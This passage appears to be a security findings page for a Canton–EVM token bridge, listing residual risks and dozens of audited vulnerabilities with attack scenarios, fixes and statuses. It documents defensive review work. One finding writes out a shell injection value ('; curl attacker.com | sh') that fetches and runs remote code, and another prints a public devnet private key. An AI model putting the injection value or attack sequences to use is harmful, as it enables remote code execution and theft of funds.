Exploit the bridge-reactor's incorrect escrowContractId reference to cause every reactor-driven settlement to fail on Canton (assertMsg in VerifiedBridgeOut always false), permanently breaking bridge-out via the reactor path This is rt2-bugs-4 FIND-4. bridge-reactor.js:116 sets escrowContractId = contractId (the BridgeOperation CID), but VerifiedBridgeOut asserts intentEscrowContractId == show escrowHoldingCid (the BridgeEscrowHolding CID). These are always different contracts, so every reactor-driven VerifiedBridgeOut fails. Additionally, the reactor-path bridge-in re-submits evmTxData after the BridgeIn atomic ZenithVB execution already minted tokens — every re-submission hits IntentAlreadyUsed. The bridge-reactor path is non-functional for both directions. This is a functional breakage, not an attacker exploit — no unauthorized mints occur; operations simply fail safely. The fix passes the correct BridgeEscrowHolding CID from the BridgeOperation payload. high (availability) — reactor path is non-functional for bridge-out
|
|||
| DAR upgrade orphans all in-flight BridgeOperation contracts under the old package ID | Residual | The CantonWatcher uses BRIDGE_OPERATION_TEMPLATE_ID (including package ID) as the filter. After a DAR upgrade to a new package ID, contracts created under the old package remain on… | |
|
Perform a BridgeWorkflow DAR upgrade while BridgeOperation contracts are active; the CantonWatcher reconfigured for the new template ID never sees old-package contracts, silently abandoning in-progress operations The CantonWatcher uses BRIDGE_OPERATION_TEMPLATE_ID (including package ID) as the filter. After a DAR upgrade to a new package ID, contracts created under the old package remain on the ACS but are never emitted by the watcher. CancelBridgeIn on old contracts requires the old BridgeWorkflow, which may be archived. The planned fix is a pre-upgrade checklist: drain all active BridgeOperation contracts, verify zero active count, then proceed with the upgrade. A DAR migration script exercises CancelBridgeIn(forceCancel=True) on all active operations before upgrade. Monitoring active BridgeOperation count as a pre-upgrade gate ensures no operations are abandoned.
|
|||
| Wall clock vs Canton ledger time skew silently skips valid unexpired operations | Partial | bridge-reactor.js:82-86 uses new Date() (wall clock) to check BridgeOperation expiry before processing. If the coordinator clock is ahead of Canton ledger time by more than a few m… | |
|
Cause coordinator clock to run ahead of Canton ledger time; bridge-reactor's wall-clock expiry check skips valid operations that haven't expired on Canton yet, permanently stranding them bridge-reactor.js:82-86 uses new Date() (wall clock) to check BridgeOperation expiry before processing. If the coordinator clock is ahead of Canton ledger time by more than a few minutes, valid operations are silently skipped rather than processed. Conversely, if Canton time is ahead, Daml expiry checks prevent legitimate cancellation while the reactor still processes the operation. The planned fix removes the wall-clock check from the reactor (it is unnecessary; Canton enforces expiry via assertMsg) and uses it only for informational logging. NTP/PTP monitoring with alerting on skew > 30s provides the operational guard. A configurable GRACE_MS buffer (e.g., 5 minutes) ensures borderline cases are processed rather than silently dropped.
|
|||
| CIP-103 interactive submission: prepare succeeds, execute fails, orphaned pending tx accumulates | Partial | canton-http-client.js has no cleanup call on execute failure and no idempotent commandId strategy (rt2-avail-3 HIGH-2). Orphaned prepared transactions accumulate (memory/disk press… | |
|
Trigger prepareSubmit to succeed and submitSigned to fail (network error, ACS change, timeout) repeatedly; orphaned prepared transactions accumulate in Canton's store; commandId reuse on retry creates double-submission ambiguity canton-http-client.js has no cleanup call on execute failure and no idempotent commandId strategy (rt2-avail-3 HIGH-2). Orphaned prepared transactions accumulate (memory/disk pressure). Retry with a new commandId may create duplicate BridgeOperation records if the original transaction executes out-of-band. The planned fix: use deterministic commandId derived from operationId so Canton deduplicates retries; call the Canton discard endpoint if the execute fails; add exponential backoff retry that reuses the same commandId. Canton's prepared transaction TTL automatically cleans up orphans, but the TTL is not documented and no cleanup endpoint is called currently.
|
|||
| No evmBurnTxHash enforcement in VerifiedBridgeOut: coordinator submits wrong burn tx for an escrow | Residual | BridgeEscrowHolding stores evmBurnTxHash at creation time but VerifiedBridgeOut does not assert that the submitted evmBurnTxData matches the stored evmBurnTxHash (rt2-bugs-4 FIND-7… | |
|
A compromised coordinator submits VerifiedBridgeOut with an evmBurnTxData that corresponds to a different user's burn (or a recycled burn tx), releasing an escrow that was not legitimately earned by the submitted burn event BridgeEscrowHolding stores evmBurnTxHash at creation time but VerifiedBridgeOut does not assert that the submitted evmBurnTxData matches the stored evmBurnTxHash (rt2-bugs-4 FIND-7). The cross-chain link is enforced only off-chain by the coordinator. Fix 1 (intentEscrowContractId check) prevents cross-escrow substitution but not same-escrow wrong-burn scenarios. The planned fix adds an on-chain assertion in VerifiedBridgeOut once ZenithVB provides structured receipt data from the external call: assert the burn tx hash from the receipt matches evmBurnTxHash in the escrow. Until then, the M-of-N validator threshold provides the trust layer: a compromised coordinator must also compromise M validator nodes to produce a valid sig bundle for the malicious intent.
|
|||
Known Residual Risks
In the spirit of full transparency: these are attack surfaces we are aware of that are not yet fully mitigated. We document them here because transparency about residual risk is itself a security property — it tells auditors, operators, and security researchers exactly where to focus. Every item below has a concrete planned fix and a Wave assignment. Severity ratings reflect the potential impact if exploited before the fix is deployed. These risks are compensated by operational controls (supply parity monitor, HSM key management, limited key distribution, 1-hour escrow expiry) and by the hon…
Coordinator restart double-mint (nonce = Date.now()) CRITICAL
When the coordinator restarts, CantonWatcher._seen is empty, causing all active BridgeOperation contracts to be re-emitted as new events. Each re-emission calls _settle() which generates a fresh nonce = BigInt(Date.now()), producing a different intentHash that is NOT in BridgeVault.usedIntents, allowing a second executeMint to succeed for the same Canton escrow. The Canton-side guard (BridgeOperat…
Dual coordinator instances race causing double-mint CRITICAL
If two coordinator instances start simultaneously (process supervisor restart race, or manual double-start), both have empty _seen Sets and independently process the same BridgeOperation. They generate different Date.now() nonces, producing different intentHashes, and both may execute successful mints. The SQLite file lock provides a partial guard only if both instances share the same DB file path…
Expiry race: EVM mint after Canton escrow expired and returned to user CRITICAL
Race window: coordinator crashes at T+55min, restarts at T+1h-5s (just before expiry). Expiry job fires at T+1h+1s and returns tokens to user. Restarted coordinator finds BridgeOperation on ACS, generates new nonce, collects sigs, submits EVM mint. User has both Canton tokens (via expiry) and EVM tokens (via double-mint). Requires precise timing of crash + restart + expiry.
Post-mint double-spend via CancelBridgeIn (no EVM burn check) CRITICAL
A user who completes bridge-in (EVM tokens minted) waits 1 hour for escrow expiry, then calls CancelBridgeIn to recover their Canton tokens. CancelBridgeIn contains no assertion that EVM tokens were burned. User holds both sets simultaneously, inflating supply. Source: rt2-bugs-4 FIND-1.
ApplyTransactionWithReceipt hardcodes success=True (ZenithVB.daml:151) CRITICAL
EvmExecutionReceipt.success is always set to True regardless of actual EVM execution outcome. A failed EVM burn transaction (e.g., BridgedToken paused) does not prevent VerifiedBridgeOut from releasing the Canton escrow — user gets Canton tokens without burning EVM tokens. Source: rt2-bugs-1 CRIT-1.
Bridge-out atomicity gap: irreversible EVM burn with fragile Canton release CRITICAL
server.js bridge-out submits EVM burn (irreversible, confirmed 1 block) then collects validator sigs and submits VerifiedBridgeOut. Any failure between these phases leaves the user with burned EVM tokens and unreleased Canton escrow. Recovery requires manual admin intervention. Source: rt2-bugs-4 FIND-2.
Equivocation double-mint via M colluding validators CRITICAL
M colluding validators sign two distinct MintIntents for the same escrowContractId but different recipients. Both intents have different intentHashes (usedIntents does not block them). Both executeMint calls succeed, minting 2x the escrowed amount. Source: rt2-avail-2 Finding 1.
Shell injection via signedBurnTx in cast publish (server.js:436) CRITICAL
User-supplied signedBurnTx is interpolated into a shell command via execSync without hex validation. An attacker with BRIDGE_API_KEY can execute arbitrary commands on the coordinator host. Source: rt2-bugs-3 VULN-01.
TOCTOU race in validator nonce replay check CRITICAL
Two concurrent POST /api/sign-settlement-intent requests with the same nonce both pass isUsed() before either reaches markUsed() (Node.js event loop suspends at await signBytes). Both receive valid signatures over the same intent, potentially enabling two valid sig bundles for one operation. Source: rt2-bugs-3 VULN-02.
makeIntent in validator endpoint missing bridgeVaultAddress and chainId — all bridge-in settlements fail CRITICAL
Validator's makeIntent call omits bridgeVaultAddress and chainId, producing an intentHash that differs from the coordinator's. All validator signatures are discarded; bridge-in halts with ThresholdNotMet. This is a functional bug causing 100% bridge-in availability loss. Source: rt2-bugs-3 VULN-03.
Single BridgeOperator key before external party migration CRITICAL
BRIDGE_OPERATOR_EXTERNAL=true is code-complete but not yet activated. Until activation, BridgeOperator uses a single software key (CANTON_SIGNING_KEY) — compromise grants unilateral Canton-side bridge control with no M-of-N requirement. Source: rt2-avail-1 F2.
BridgeIn addressMappingCid not validated against allocation owner HIGH
BridgeIn does not assert mapping.cantonParty == allocation.owner. A compromised BridgeOperator can pass an arbitrary AddressMapping to route EVM mint proceeds to any address. Source: rt2-bugs-1 HIGH-1.
MigrateRemoveValidator bypasses governance threshold HIGH
A single validator can call MigrateRemoveValidator on ZenithVBState to remove any other validator without a governance proposal or threshold vote. Source: rt2-bugs-1 HIGH-2.
Underburn attack: burn amount not parsed from EVM receipt HIGH
bridge-out-request constructs SettlementIntent with user-supplied amount from HTTP body, not from parsing the Transfer event in the burn tx receipt. A user can burn 1 token and claim release of 1000-token escrow. Source: rt2-bugs-4 FIND-3.
Allocation orphan: user has no escape hatch for pre-BridgeIn stuck Allocation HIGH
After a user creates an Allocation with beneficiary=BridgeOperator, there is no user-exercisable choice to cancel if BridgeIn is never called. Funds are locked indefinitely without admin intervention. Source: rt2-bugs-4 FIND-6.
Single Canton admin key: no timelock, no M-of-N for SetGlobalPause and registry changes HIGH
The Canton admin party can instantly pause the bridge, delete address mappings, modify asset configs, and force-cancel operations — with no timelock and no M-of-N equivalent to the EVM's TimelockController + Safe multisig. Source: rt2-avail-1 F9.
adminApprovalThreshold=1 enables single-key validator set reduction CRITICAL
If BridgeWorkflow is deployed with adminApprovalThreshold=1, a single bridgeAdmin key can unilaterally reduce threshold to 1 and replace all validator pubkeys, gaining complete signing control. Source: rt2-avail-2 Finding 2.
06Security Findings (Wave 1 + RT2)
▼
106 findings from Wave 1 and RT2 security reviews. Click any row to expand attack details.
| Severity | ID | Threat | Status | |
|---|---|---|---|---|
| CRITICAL | T-C1 | Sig Bundle Recycling — VerifiedBridgeOut drains any escrow | fixed | |
|
A valid M-of-N sig bundle collected for escrow A (small amount) could be replayed against escrow B (large amount). The intentHash was caller-supplied with no binding to the actual escrow being consumed. Attacker collects a valid sig bundle for a small-value escrow they control, then replays it to release a large-value escrow belonging to another user. Fix 1: intentEscrowContractId binding. In-contract assertion: show escrowHoldingCid == intentEscrowContractId. Coordinator encodes escrowContractId in intent pre-image. Sig bundle is bound to the specific escrow contract ID actually being consumed. Low — in-contract assertion is authoritative. Pending external Daml audit to confirm. |
||||
| CRITICAL | T-C2 | Hardcoded Private Key — Unlimited Token Minting | fixed | |
|
server.js hardcoded BRIDGE_KEY as Anvil devnet key #0 (0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80) — a universally known test credential. Anyone with the key could mint arbitrary tokens. Any developer or attacker aware of standard Anvil test keys could call BridgeVault.executeMint with forged calldata using the hardcoded EOA. BRIDGE_KEY loaded exclusively from environment variable. Server fails hard at startup (process.exit(1)) if BRIDGE_KEY or ENDUSER_SIGNING_KEY are missing. Production deployments use KmsSigner — key never exists as plaintext. None (architectural fix). |
||||
| CRITICAL | T-C3 | Unauthenticated Bridge Endpoints — Arbitrary Bridge Operations | fixed | |
|
POST /api/bridge-in and /api/bridge-out accepted requests from any unauthenticated caller. The amount field came from req.body with only a positivity check. An external attacker could trigger arbitrary EVM minting and Canton escrow releases. External attacker POSTs to /api/bridge-in with arbitrary amount and recipient, causing the coordinator to collect validator signatures and mint tokens without any authorization. BRIDGE_API_KEY Bearer token required on all /api/bridge/* and /api/canton/* endpoints. Missing or incorrect token returns 401. None. Note: BRIDGE_API_KEY is a shared secret; rotate on suspected compromise. |
||||
| CRITICAL | T-C4 | Shell Injection via Intent Fields (RCE on Coordinator) | fixed | |
|
coordinator.js submitSettlement() built a shell command by string-interpolating intent fields into execSync(). evmBurnTxData from user POST body containing shell metacharacters would achieve full RCE on the coordinator host. User POSTs a bridge-out-request with evmBurnTxData containing "; curl attacker.com | sh". coordinator.js passes this directly to execSync(), executing the injected shell command as the coordinator process user. Replaced execSync(shell-string) with execFileSync(binary, argv_array). No shell is invoked; metacharacters in argv values cannot be interpreted by the OS shell. None (architectural fix). |
||||
| HIGH | T-H1 | Settlement Intent Replay Across Deployments | fixed | |
|
A sig bundle collected on one bridge deployment (testnet) could be replayed on another (mainnet) sharing the same validator keys but different BridgeVault address. Validators sign intents on testnet. Attacker captures sig bundles and replays them on mainnet BridgeVault before validators notice, minting tokens on mainnet with testnet-authorized signatures. bridgeVaultAddress and chainId are included in encodeIntent() and bound into intentHash. A signature is deployment-specific and chain-specific. None. |
||||
| HIGH | T-H2 | Canton Ledger API Proxy Endpoints Unauthenticated | fixed | |
|
Internal Canton Ledger API endpoints proxied at /api/canton/interactive-submission/* with no authentication, allowing unauthorized party onboarding and transaction submission. Unauthenticated attacker hits /api/canton/interactive-submission/v2/commands/execute to submit arbitrary Canton commands as the BridgeOperator party. Legacy proxy routes removed. All Canton HTTP API routes require BRIDGE_API_KEY. Only connected-synchronizers state endpoint remains proxied. None. |
||||
| HIGH | T-H3 | Fireblocks Webhook Spoofing | fixed | |
|
FIREBLOCKS_WEBHOOK_SECRET was optional — if unset, all webhooks were accepted unauthenticated. String equality HMAC comparison was also vulnerable to timing oracle attacks. Attacker sends crafted Fireblocks webhook events to trigger unauthorized bridge operations. Without a secret, all webhooks are accepted. With a weak comparison, attacker can recover the secret via timing side-channel. Secret required at startup (server exits if missing). v2 HMAC format (timestamp + '.' + rawBody). crypto.timingSafeEqual for comparison. 5-minute timestamp freshness window. None. |
||||
| HIGH | T-H4 | Float Precision on Token Amounts (Supply Drift / Double-Spend) | fixed | |
|
BigInt(Math.round(amount * 1e10)) in server.js introduced floating-point precision loss in amount conversion. Supply parity invariant could drift; carefully crafted amounts could cause double-spend scenarios. User bridges an amount that triggers floating-point rounding, causing the minted EVM amount to differ from the Canton escrow amount. Over time, supply parity drifts, masking potential theft. All token amounts use native BigInt arithmetic throughout. No floating-point operations on amounts anywhere in coordinator or server. None. |
||||
| MEDIUM | T-M1 | In-Memory Nonce Store Replay After Restart | fixed | |
|
nonce-store.js stored used nonces in process memory. Process restart reset the nonce counter to zero. An attacker resubmitting a previous intent with nonce=0 and a future deadline would succeed after a validator restart. Validator process restarts (crash or deploy). Attacker immediately replays a previously seen settlement intent with nonce=0. The nonce store is empty, so the replay succeeds and the intent is double-processed. SQLite-backed nonce store (NONCE_DB_PATH). Nonces persist across restarts. addNonce() is atomic and idempotent. None. |
||||
| MEDIUM | T-M2 | HMAC Timing Oracle | fixed | |
|
Fireblocks webhook HMAC compared with === (JavaScript string equality). Not constant-time — enables statistical timing attacks to recover the webhook secret. Attacker sends thousands of webhook requests with varying HMAC values, measuring response time to determine correct bytes of the secret via timing differences in string comparison. crypto.timingSafeEqual used for all HMAC comparisons. Comparison is constant-time regardless of where strings diverge. None. |
||||
| MEDIUM | T-M3 | Legacy BridgeOut — Admin-Only Escrow Release (No Validator Sigs) | fixed | |
|
BridgeOut choice in Bridge.daml had no validator signature requirement. A single compromised BridgeAdmin party key could release any escrow to any Canton party without M-of-N approval. Attacker compromises the BridgeAdmin Canton party key. They call BridgeOut to release any user's escrow to an attacker-controlled Canton party, bypassing M-of-N validation entirely. BridgeOut gated behind devMode == True. Production deployments set devMode = False; only VerifiedBridgeOut is active. None in production. devMode = False must be verified at deploy time. |
||||
| MEDIUM | T-M4 | AddressMapping Admin Redirect (Steal Bridge-In Recipients) | fixed | |
|
AddressMapping.UpdateEvmAddress was admin-controlled alone. A compromised admin could silently redirect bridge-in EVM recipients to an attacker address. Attacker compromises BridgeAdmin. They call UpdateEvmAddress to change a victim's EVM address to an attacker-controlled address. All subsequent bridge-ins for that victim are minted to the attacker. UpdateEvmAddress requires both admin AND cantonParty as controllers (Fix 3). User must co-sign address updates — admin alone cannot redirect. None. |
||||
| MEDIUM | T-M5 | Admin Routes Unauthenticated (State Exposure) | fixed | |
|
Admin routes (/api/admin/events, /api/admin/supply-parity, /api/admin/validator-set) were mounted with no authentication, exposing bridge state, validator set, and Canton escrow data to any caller. Unauthenticated caller queries /api/admin/validator-set to enumerate all validator public keys and endpoint URLs, then uses this information to target validators for attack or social engineering. ADMIN_API_KEY Bearer token required on all /api/admin/* routes. Missing or incorrect token returns 401. None. |
||||
| LOW | T-L1 | secp256k1 s-Value Malleability in ecrecover | fixed | |
|
ecrecover in BridgeVault._recoverSigner() accepted high-s signatures (non-canonical). An attacker could submit a second valid-but-different signature for the same intent, potentially interfering with duplicate-signer detection. Attacker takes a valid validator signature and transforms it to its high-s equivalent (still verifies to the same address). This could allow submitting two 'different' signatures from the same validator to count toward threshold twice. Explicit high-s check per EIP-2: require(uint256(s) <= 0x7FFF...A0, 'Invalid s-value'). Also requires v == 27 || v == 28. New Forge test covers high-s rejection. None. |
||||
| LOW | T-L2 | transferMintAuthority — Old Vault Retains Mint Rights | fixed | |
|
transferMintAuthority() previously only emitted an event but did not revoke the old vault's mint rights. Both old and new vaults could mint tokens simultaneously after a vault migration. After a vault migration, the old compromised vault still has mint authority. An attacker who compromised the old vault can still mint tokens even after the migration is complete. transferMintAuthority() now calls IBridgedToken(bridgedToken).setMinter(newVault) — atomically moves the minter role in one transaction. Old vault self-revokes. None. |
||||
| CRITICAL | RT2-AVAIL-1-F1 | Coordinator Process is a Single Point of Total Bridge Failure | pending | |
|
The coordinator is a single un-replicated Node.js process. On crash or restart, two critical in-memory data structures are lost: CantonWatcher._seen (tracks which BridgeOperation contractIds have been emitted) and BridgeReactor._processing (tracks in-flight operations). Additionally, coordinator.js uses execFileSync (synchronous), blocking the event loop for up to 120 seconds per settlement. When the watcher re-emits active operations after restart, BridgeReactor._settle() constructs a new SettlementIntent with nonce = BigInt(Date.now()). A fresh nonce produces a different intentHash, which produces a different intentId for BridgeVault.executeMint. The vault's usedIntents mapping does not recognize the new intentId, so the second mint executes successfully — two EVM mints for one Canton lock. Critical — double-mint on restart is possible until _seen is persisted to SQLite and nonces are derived deterministically from escrow contract ID. |
||||
| CRITICAL | RT2-AVAIL-1-F2 | BridgeOperator is a Single Unmitigated Canton SPOF | pending | |
|
All bridge operations require the Canton admin/BridgeOperator party. Pre-migration (BRIDGE_OPERATOR_EXTERNAL not yet enabled), BridgeOperator uses a single software key (CANTON_SIGNING_KEY). The BridgeOperatorSignatureCoordinator exists but is not yet activated. The Canton admin party's SetGlobalPause on BridgeRegistry requires only a single party signature — no timelock, no M-of-N, no delay. Compromise of the single CANTON_SIGNING_KEY grants unilateral control over all Canton-side bridge operations with no M-of-N requirement. Alternatively, Canton participant unavailability halts the bridge with 120s timeout per failed canton-exec call. Critical — BRIDGE_OPERATOR_EXTERNAL=true must be activated immediately to distribute signing across M-of-N validators. |
||||
| HIGH | RT2-AVAIL-1-F3 | Below-Threshold Validator Takedown Halts All Signing | pending | |
|
The minimum attack to halt signing requires taking (N - M + 1) validators offline. With N=2, either validator offline causes total signing failure if threshold=2. There is no retry loop in collectSignatures — a single failed fan-out returns ThresholdNotMet. No health-check monitoring surfaces validator reachability to operators. DDoS or infrastructure compromise of N-M+1 validators halts all bridge operations. With N=2, a single validator outage is sufficient. Duration ranges from minutes (DDoS) to indefinite (infrastructure compromise), leaving user funds stuck during the outage. High — validator set should be expanded to N>=5 with M=3; retry-with-backoff should be added to collectSignatures. |
||||
| HIGH | RT2-AVAIL-1-F4 | Single EVM RPC Endpoint with No Retry or Fallback | pending | |
|
All EVM transactions route through a single EVM_RPC URL. No fallback, no retry. In bridge-reactor.js, cast publish with 60s timeout; on failure the contractId is in _seen so the operation will not be retried in the current process run — permanently dropped unless the coordinator restarts (with double-mint risk). Admin view calls fail silently (return null). DDoS or outage of the single EVM RPC endpoint causes bridge-in mints and bridge-out burns to fail silently. Operations are permanently dropped within a run without any operator visibility from the status page. High — EVM RPC failover list, retry logic with exponential backoff, and persistent failed-operation queue are needed. |
||||
| HIGH | RT2-AVAIL-1-F5 | Single Compromised PAUSER_ROLE Key Halts Bridge with 48h Recovery | pending | |
|
pause() requires one PAUSER_ROLE holder; unpause() requires owner (Safe multisig) through 48h TimelockController. Asymmetric: one EOA compromise = instant halt, 48-hour recovery. Canton-side BridgeRegistry.SetGlobalPause has no equivalent threshold — single admin party, no timelock. Attacker compromises one PAUSER_ROLE key. They call pause() — instant, no quorum. All executeMint calls revert with EnforcedPause. Recovery: Safe multisig must propose unpause to TimelockController, wait 48h, execute. Attacker can repeat after recovery if key is not revoked. High — minimum 48-hour outage guaranteed per compromised PAUSER_ROLE key. Require 2-of-N for pause() or add shorter timelock for unpause. |
||||
| HIGH | RT2-AVAIL-1-F6 | SQLite Nonce Store Deletion or Corruption Destroys Replay Protection | pending | |
|
Deletion resets the nonce counter to 0, re-entering previously signed nonces into the available pool. Corruption causes better-sqlite3 to throw at startup, crashing the validator and dropping it from the signing pool. tmpfs deployment means the DB is lost on every container restart. Single file, no backup, no replication, no durability assertions. An attacker who can delete the nonce store file causes the validator to crash (corruption) or lose replay protection (deletion). With a two-validator setup, crashing one validator may push below threshold, halting all signing. High — durable persistent volume, startup integrity assertion, WAL+backup, and tracking signed intentHashes rather than raw nonces are all required. |
||||
| HIGH | RT2-AVAIL-1-F7 | CantonWatcher Has No Catch-Up Mechanism After Downtime | pending | |
|
_seen Set is in-memory only. On restart, all active BridgeOperation contracts are re-emitted (double-processing risk). Operations created AND consumed while coordinator was down are silently skipped as missed events. No historical replay capability. No pagination in ACS query — large ACS responses may be truncated silently. After a coordinator restart, all in-flight bridge operations are re-attempted from scratch. Combined with the Date.now() nonce issue, each re-attempt generates a new intentId not in usedIntents, enabling double-mint. Operations that completed during the downtime window are silently lost. High — persist _seen to SQLite and migrate to Canton transaction stream with offset tracking for reliable event replay. |
||||
| HIGH | RT2-AVAIL-1-F8 | External AML Screener Outage Fails Bridge Closed with No Fallback | pending | |
|
When SANCTIONS_PROVIDER=chainalysis or elliptic, every bridge operation calls the external API. No timeout, no retry, no cache, no circuit breaker. API outage causes fetch() to throw, failing all bridge operations. No default timeout means a slow API server can hold event loop connections open indefinitely. Targeted slow-response attack against the Chainalysis/Elliptic API endpoint causes the coordinator's fetch() calls to hang indefinitely, collapsing throughput to zero. Rate limit exhaustion at the provider has the same effect. Third-party API reliability is fundamentally outside bridge operator control. High — add 5s fetch timeout via AbortSignal.timeout, implement circuit breaker, add 1-hour result cache, and add configurable fail-open mode with mandatory alerting. |
||||
| HIGH | RT2-AVAIL-1-F9 | Single Canton Admin Key Controls Registry, Pause, and Address Mappings | pending | |
|
The Canton admin party can instantly (no timelock, no M-of-N) pause the bridge, modify asset configs, delete address mappings, and force-cancel user operations. Delete+recreate of AddressMapping bypasses the UpdateEvmAddress co-signing fix — the attacker creates a new mapping pointing to their EVM address without user consent. No Canton governance equivalent to the EVM's 48h TimelockController + Safe multisig. Canton admin key compromise enables instant bridge halt, address mapping hijack (bridge-in funds redirected to attacker), and user operation force-cancel. The attacker removes and recreates an AddressMapping for a victim, then waits for the victim's next bridge-in to steal the EVM mint proceeds. High — implement M-of-N governance for Canton admin actions, add user co-signing to RemoveMapping, migrate admin keys to HSM, add Canton-side pause timelock. |
||||
| MEDIUM | RT2-AVAIL-1-F10 | mTLS Cert Expiry and DNS Poisoning Can Sever Coordinator-Validator Channel | pending | |
|
mTLS is optional (falls back to HTTP if env vars missing). Certs are read once at startup — no refresh, no expiry monitoring. Cert expiry causes all validator connections to fail, halting the bridge. DNS poisoning of validator hostnames can redirect to attacker servers, and without mTLS this exposes shared secrets. Certificate expiry silently causes a complete bridge outage with no warning. Operators have no visibility into upcoming cert expirations. DNS poisoning (without mTLS) enables an attacker to intercept validator signing requests and harvest intent data. Medium — make mTLS mandatory at startup, implement cert rotation without restart via periodic createSecureContext() reload, monitor cert expiry with 30/7-day warnings. |
||||
| MEDIUM | RT2-AVAIL-1-F11 | Supply Parity Monitor Has No Auto-Halt and No False-Positive Protection | pending | |
|
Monitor is detective-only; real violations require manual operator response. False positives occur during normal operation due to timing gaps between EVM mint and Canton ACS propagation. Monitor errors (EVM RPC down) are silently swallowed — real violations can go undetected during infrastructure outages. A real supply parity violation (mint bug or theft) persists without automatic bridge halt until an operator manually reviews SSE events. False positives during normal load cause unnecessary operational intervention. Infrastructure outages hide real violations from the monitor entirely. Medium — add N-poll persistence window before emitting violation, implement auto-halt trigger on confirmed violations, emit monitor-error events not just logs. |
||||
| MEDIUM | RT2-AVAIL-1-F12 | execFileSync in Coordinator Blocks Event Loop for Up to 2 Minutes | pending | |
|
execFileSync(cantonExec, args, { timeout: 120_000 }) freezes the entire Node.js event loop for up to 2 minutes per settlement. During this window: no HTTP requests served, no watcher polls, no health checks, no admin SSE. Cascading queue under load creates indefinite freezes. Under multi-operation load, each concurrent settlement attempt adds up to 120s of event loop freeze time. The coordinator appears alive to external monitors (process is running) but is completely unresponsive. Admin SSE disconnects, watcher polls miss events, and users see unexplained bridge delays. Medium — replace execFileSync with async execFile; use worker threads or process pool to isolate canton-exec from the HTTP serving loop. |
||||
| CRITICAL | RT2-AVAIL-2-F1 | Equivocation Double-Mint via M Colluding Validators | pending | |
|
M colluding validators sign two distinct intents covering the same Canton escrow contract but specifying different EVM recipients. Both intentHashes differ (all fields are included in keccak256), so BridgeVault.executeMint marks usedIntents[H1]=true and usedIntents[H2]=true independently. Both mints succeed, producing 2x tokens for 1x Canton escrow. A compromised coordinator runs two separate collectSignatures rounds (one for H1, one for H2) against the same pool of colluding validators. Both bundles achieve M-of-N threshold. BridgeVault's usedIntents does not recognize the same escrow in two different intents. EVM token supply is inflated beyond Canton-locked backing. Critical — add usedEscrows[bytes32 escrowContractId] mapping to BridgeVault to prevent the same escrow from appearing in more than one successfully-executed mint. |
||||
| CRITICAL | RT2-AVAIL-2-F2 | adminApprovalThreshold=1 Enables Single-Key Threshold Reduction | pending | |
|
BridgeWorkflow deployed with adminApprovalThreshold=1 means a ValidatorConfigProposal needs only 1 bridgeAdmin approval. A single compromised bridgeAdmin key can propose newThreshold=1 with their own pubkey as sole validator, self-approve, and gain unilateral signing control over all future bridge operations. 1. Attacker compromises bridgeAdmin key. 2. Calls ProposeValidatorConfigChange with newThreshold=1 and their own pubkey. 3. Calls ApproveValidatorConfig as the same bridgeAdmin (1-of-1 threshold met). 4. BridgeWorkflow recreated with threshold=1. 5. Attacker signs all future intents unilaterally and drains all in-flight escrow operations. Critical — enforce minimum adminApprovalThreshold >= ceil(2/3 * bridgeAdmins.length) at deployment; separate bridgeAdmin role from BridgeWorkflow signatory. |
||||
| HIGH | RT2-AVAIL-2-F3 | Coordinator OOM via Unbounded Validator Response Body | pending | |
|
coordinator.js postJson accumulates the HTTP response body without a size limit: res.on('data', (chunk) => { data += chunk; }). A malicious validator returns a 1 GB response to a /api/sign-settlement-intent request. With N validators in parallel via Promise.allSettled, N simultaneous large responses multiply memory pressure. The same pattern exists in bridge-operator-coordinator.js. A single Byzantine validator node returns a multi-GB response body to every signing request. The coordinator buffers the entire response before JSON.parse. With 2 validators and 2 concurrent settlements, the coordinator OOMs and crashes, halting the bridge and losing all in-flight signature collections. High — add a 64 KB size guard in the data event handler and apply the same fix to bridge-operator-coordinator.js. |
||||
| HIGH | RT2-AVAIL-2-F4 | Validator Rotation Race Invalidates In-Flight Sig Bundles | pending | |
|
If a validator is rotated out between sig collection and on-chain submission, the removed validator's signature is rejected (validatorSet[signer] is false on EVM; elem pk validatorPubKeys is false on Canton). If exactly M sigs were collected with no spare, validCount < threshold and the operation fails. The coordinator has no mechanism to detect mid-flight rotation or retry with a fresh sig. An attacker controls both M validators and Safe multisig. They collect exactly M sigs with validator set V, then trigger removal of one of those M validators via TimelockController (48h delay on EVM, no minimum on Canton). Submitting the now-invalid bundle fails, leaving the user's escrow locked indefinitely. High — coordinator should retain all N signatures (not just M), add epoch tracking to detect rotations, and enforce a minimum ValidatorConfigProposal deadline. |
||||
| HIGH | RT2-AVAIL-2-F5 | Selective Signing Censorship Indistinguishable from Downtime | pending | |
|
A Byzantine validator inspects escrowContractId, recipient, or amount in the signing request and selectively refuses to sign for specific users. The coordinator logs this as 'validator unreachable' — identical to a legitimate network failure. No structured comparison of which intents each validator signed vs. refused; no cryptographic proof of refusal vs. failure. With N=5, M=3, three Byzantine validators targeting the same user block all their operations without triggering alarms. Ops team sees standard 'validator unreachable' warnings. Affected users' intents expire; they must resubmit indefinitely. Byzantine validators can permanently censor specific users. High — implement structured per-intent validator response logging with correlation; randomize coordinator contact order to prevent strategic abstention. |
||||
| MEDIUM | RT2-AVAIL-2-F6 | No Off-Chain Signing Deadline Allows Validator Time-Waste | pending | |
|
The per-validator HTTP timeout in coordinator is 30 seconds. A Byzantine validator can delay their response to 29.9 seconds for every signing request without triggering the timeout but maximally consuming coordinator time. Near-deadline intents may fail on-chain even though sigs were collected, requiring full re-collection with a new nonce and deadline. A single Byzantine validator responds to every signing request at the 29.9-second mark. Bridge throughput drops from ~100ms per operation to ~30s per operation. Under sustained load, the coordinator's operation queue grows unboundedly. Operations near their Canton intent deadline fail even after sigs are collected. Medium — enforce per-validator response deadline calculated as min(DEFAULT_TIMEOUT, intentDeadline - now() - SUBMISSION_BUFFER) and monitor for slow-signing validators. |
||||
| MEDIUM | RT2-AVAIL-2-F7 | executeMint Front-Running by Validator Wastes Coordinator Gas | pending | |
|
